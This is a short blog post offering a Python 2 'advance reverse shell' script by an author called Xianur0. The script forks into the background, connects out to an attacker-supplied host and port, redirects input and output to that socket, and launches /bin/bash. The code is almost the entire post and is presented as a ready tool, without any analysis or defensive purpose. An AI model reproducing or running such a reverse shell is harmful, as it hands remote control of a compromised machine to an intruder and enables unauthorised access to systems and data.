Advance Reverse Shell By Xianur0 [Python]

Posted on 19:50 by Xianur0



#!/usr/bin/env python -u

# By Xianur0
# uxmal666@gmail.com

import sys, socket, os

if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print 'Fork No Valido!'
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
handler.sendall(('\n<-------------------------Advance Reverse Shell By Xianur0-------------------->\n'))
while handler.recv:
handler.sendall(('\n\nXianur0:~ '))
os.system('/bin/bash')
except:
print "[!] Error conectando"

0 comentarios: